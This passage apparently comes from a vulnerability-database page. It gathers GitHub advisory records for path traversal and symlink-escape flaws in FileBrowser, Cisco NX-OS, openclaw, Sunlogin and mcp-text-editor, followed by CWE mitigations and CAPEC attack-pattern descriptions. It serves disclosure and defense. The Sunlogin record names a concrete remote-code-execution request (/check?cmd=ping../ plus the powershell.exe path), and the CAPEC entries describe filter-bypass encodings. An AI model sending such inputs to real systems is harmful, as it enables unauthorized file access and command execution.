scope\")\n}\n```\n\nApply the same containment check (or reuse the existing `symlinkTargetStaysUnderDest` logic) on every read path that sets `FollowSymlinks: true`. As a deployment-hardening option, add a setting to refuse to follow symlinks that leave the source root entirely.",
"id": "GHSA-mgqf-5mf5-prfj",
"modified": "2026-10-27T21:04:41Z",
"published": "2026-10-27T21:04:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gtsteffaniak/filebrowser/security/advisories/GHSA-mgqf-5mf5-prfj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-116682"
},
{
"type": "WEB",
"url": "https://github.com/gtsteffaniak/filebrowser/pull/2795"
},
{
"type": "WEB",
"url": "https://github.com/gtsteffaniak/filebrowser/pull/2800"
},
{
"type": "WEB",
"url": "https://github.com/gtsteffaniak/filebrowser/commit/3c8c02414eefd3351ffe437fa39ff6eb150ffa67"
},
{
"type": "WEB",
"url": "https://github.com/gtsteffaniak/filebrowser/commit/4126edeb07a015c3809a89249b283e07a4e50c38"
},
{
"type": "PACKAGE",
"url": "https://github.com/gtsteffaniak/filebrowser"
},
{
"type": "WEB",
"url": "https://github.com/gtsteffaniak/filebrowser/releases/tag/v1.5.2-stable"
},
{
"type": "WEB",
"url": "https://github.com/gtsteffaniak/filebrowser/releases/tag/v2.0.1-beta"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "FileBrowser: Symlink following escapes user scope allowing arbitrary file read outside the served directory"
}
GHSA-MGQW-MFH6-FR5V
Vulnerability from github – Published: 2022-05-17 04:04 – Updated: 2022-05-17 04:04Directory traversal vulnerability in the command-line interface in Cisco NX-OS 6.2(2a) and earlier allows local users to read arbitrary files via unspecified input, aka Bug ID CSCul05217.
{
"affected": [],
"aliases": [
"CVE-2013-6975"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-05-20T11:13:00Z",
"severity": "MODERATE"
},
"details": "Directory traversal vulnerability in the command-line interface in Cisco NX-OS 6.2(2a) and earlier allows local users to read arbitrary files via unspecified input, aka Bug ID CSCul05217.",
"id": "GHSA-mgqw-mfh6-fr5v",
"modified": "2022-05-17T04:04:49Z",
"published": "2022-05-17T04:04:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2013-6975"
},
{
"type": "WEB",
"url": "http://tools.cisco.com/security/center/content/CiscoSecurityNotice/CVE-2013-6975"
},
{
"type": "WEB",
"url": "http://tools.cisco.com/security/center/viewAlert.x?alertId=34260"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/67426"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-MGRQ-9F93-WPP5
Vulnerability from github – Published: 2026-03-12 14:21 – Updated: 2026-03-30 13:37Summary
openclaw had a workspace boundary bypass in workspace-only path validation: when an in-workspace symlink pointed outside the workspace to a non-existent leaf, the first write could pass validation and create the file outside the workspace.
Affected Packages / Versions
- Package:
openclaw(npm) - Vulnerable versions:
<= 2026.2.25 - Patched versions:
>= 2026.2.26(pre-set for next planned release) - Latest published npm version at update time:
2026.2.25
Details
The boundary check path resolved aliases in a way that allowed a non-existent out-of-root symlink target to pass the initial validation window. A first write through the guarded workspace path could therefore escape the workspace boundary.
The fix hardens canonical boundary resolution so missing-leaf alias paths are evaluated against canonical containment, while preserving valid in-root aliases. This closes the first-write escape condition without regressing valid in-root alias usage.
Fix Commit(s)
46eba86b45e9db05b7b792e914c4fe0de1b40a231aef45bc060b28a0af45a67dc66acd36aef763c9
Release Process Note
patched_versions is pre-set to the planned next release (2026.2.26). Once npm release 2026.2.26 is published, this advisory can be published directly.
Thanks @tdjackey for reporting.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2026.2.25"
},
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.2.26"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-32055"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-12T14:21:49Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n`openclaw` had a workspace boundary bypass in workspace-only path validation: when an in-workspace symlink pointed outside the workspace to a non-existent leaf, the first write could pass validation and create the file outside the workspace.\n\n### Affected Packages / Versions\n- Package: `openclaw` (npm)\n- Vulnerable versions: `\u003c= 2026.2.25`\n- Patched versions: `\u003e= 2026.2.26` (pre-set for next planned release)\n- Latest published npm version at update time: `2026.2.25`\n\n### Details\nThe boundary check path resolved aliases in a way that allowed a non-existent out-of-root symlink target to pass the initial validation window. A first write through the guarded workspace path could therefore escape the workspace boundary.\n\nThe fix hardens canonical boundary resolution so missing-leaf alias paths are evaluated against canonical containment, while preserving valid in-root aliases. This closes the first-write escape condition without regressing valid in-root alias usage.\n\n### Fix Commit(s)\n- `46eba86b45e9db05b7b792e914c4fe0de1b40a23`\n- `1aef45bc060b28a0af45a67dc66acd36aef763c9`\n\n### Release Process Note\n`patched_versions` is pre-set to the planned next release (`2026.2.26`). Once npm release `2026.2.26` is published, this advisory can be published directly.\n\nThanks @tdjackey for reporting.",
"id": "GHSA-mgrq-9f93-wpp5",
"modified": "2026-03-30T13:37:32Z",
"published": "2026-03-12T14:21:49Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-mgrq-9f93-wpp5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32055"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/1aef45bc060b28a0af45a67dc66acd36aef763c9"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/46eba86b45e9db05b7b792e914c4fe0de1b40a23"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-workspace-path-boundary-bypass-via-non-existent-symlink"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenClaw: workspace path guard bypass on non-existent out-of-root symlink leaf"
}
GHSA-MH2M-M37R-927M
Vulnerability from github – Published: 2023-02-13 06:30 – Updated: 2025-03-21 15:31Sunlogin Sunflower Simplified (aka Sunflower Simple and Personal) 1.0.1.43315 is vulnerable to a path traversal issue. A remote and unauthenticated attacker can execute arbitrary programs on the victim host by sending a crafted HTTP request, as demonstrated by /check?cmd=ping../ followed by the pathname of the powershell.exe program.
{
"affected": [],
"aliases": [
"CVE-2022-48323"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-02-13T05:15:00Z",
"severity": "CRITICAL"
},
"details": "Sunlogin Sunflower Simplified (aka Sunflower Simple and Personal) 1.0.1.43315 is vulnerable to a path traversal issue. A remote and unauthenticated attacker can execute arbitrary programs on the victim host by sending a crafted HTTP request, as demonstrated by /check?cmd=ping../ followed by the pathname of the powershell.exe program.",
"id": "GHSA-mh2m-m37r-927m",
"modified": "2025-03-21T15:31:08Z",
"published": "2023-02-13T06:30:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-48323"
},
{
"type": "WEB",
"url": "https://asec.ahnlab.com/en/47088"
},
{
"type": "WEB",
"url": "https://github.com/projectdiscovery/nuclei-templates/blob/8500efb7c5c52261229bb87b3af8a6e4e5afc877/cnvd/2022/CNVD-2022-03672.yaml"
},
{
"type": "WEB",
"url": "https://www.cnvd.org.cn/flaw/show/CNVD-2022-03672"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-MH32-G5Q6-4X93
Vulnerability from github – Published: 2026-07-09 03:32 – Updated: 2026-07-09 03:32A security vulnerability has been detected in tumf mcp-text-editor up to 1.0.2. This issue affects the function _validate_file_path of the file mcp_text_editor/text_editor.py. Such manipulation of the argument file_path leads to path traversal. The attack can be launched remotely. The exploit has been disclosed publicly and may be used. The vendor closed the GitHub issue for this vulnerability without any explanation.
{
"affected": [],
"aliases": [
"CVE-2026-15138"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-09T01:19:06Z",
"severity": "LOW"
},
"details": "A security vulnerability has been detected in tumf mcp-text-editor up to 1.0.2. This issue affects the function _validate_file_path of the file mcp_text_editor/text_editor.py. Such manipulation of the argument file_path leads to path traversal. The attack can be launched remotely. The exploit has been disclosed publicly and may be used. The vendor closed the GitHub issue for this vulnerability without any explanation.",
"id": "GHSA-mh32-g5q6-4x93",
"modified": "2026-07-09T03:32:45Z",
"published": "2026-07-09T03:32:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-15138"
},
{
"type": "WEB",
"url": "https://github.com/tumf/mcp-text-editor/issues/22"
},
{
"type": "WEB",
"url": "https://github.com/tumf/mcp-text-editor"
},
{
"type": "WEB",
"url": "https://vuldb.com/cve/CVE-2026-15138"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/851188"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/376953"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/376953/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.